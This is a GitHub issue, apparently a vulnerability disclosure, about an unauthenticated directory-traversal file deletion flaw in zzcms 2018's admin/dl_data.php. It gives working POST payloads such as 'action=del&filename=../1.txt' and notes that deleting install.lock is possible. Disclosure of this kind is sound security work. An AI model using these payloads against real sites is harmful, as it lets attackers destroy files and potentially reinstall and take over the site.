Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

zzcms v2018 data:2018-10-19 #1

Open
615 opened this issue Jan 9, 2019 · 1 comment
Open

zzcms v2018 data:2018-10-19 #1

615 opened this issue Jan 9, 2019 · 1 comment

Comments

@615
Copy link
Owner

615 commented Jan 9, 2019

link: http://www.zzcms.net/about/6.htm
image

Edition: zzcms 2018 data:2018-10-19 /admin/dl_data.php
0x01 Vulnerability
image
There is unlink($fp) to delete any file by controlloing the value of $_GET["filename"]
0x02 Control $fp
We can see
first ==> $_REQUEST['action'])
second ==> if ($action=="del")
so set url ==> action=del&filename=

0x03 payload

Payload is as follows, directly post: action=del&filename=../1.txt

remote attackers can delete arbitrary files via directory traversal
no authentication also can delete file

image

so we can delete /install/install.lock

@615
Copy link
Owner Author

615 commented Jan 10, 2019

0x04 Exp it

2

directly post: action=del&filename=../install/1.txt

3

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant